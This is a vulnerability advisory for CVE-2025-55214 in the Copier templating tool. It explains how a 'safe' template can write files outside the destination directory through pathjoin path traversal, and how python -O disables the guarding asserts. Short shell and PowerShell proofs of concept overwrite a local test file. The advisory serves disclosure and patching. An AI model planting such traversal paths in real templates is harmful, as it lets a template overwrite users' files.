Copier's safe template has filesystem write access outside destination path
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
Reproducible example:
```shell
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt
```
Reproducible example:
```shell
# Assumption: The current working directory is /tmp/test-copier-vulnerability/
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src/ dst/
cat forbidden.txt
```
```powershell
# Assumption: The current working directory is C:\Users\<user>\Temp\test-copier-vulnerability
echo "foo" > forbidden.txt
mkdir src
Set-Content -Path src\copier.yml @'
drive:
type: str
default: "C:"
when: false
'@
echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
uvx --from copier python -O -m copier copy --overwrite src dst
cat forbidden.txt
```
This scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.
This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. Rated impact: confidentiality none, integrity high, availability high.
The score comes from this vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
CVE-2025-55214 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
CVE-2025-55214 is recorded against 2 packages.
Published on 18 August 2025 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
copier has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:
Details
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| copier | 7.1.0 | 9.9.1 |
| unknown | — | — |
References
Similar Threats
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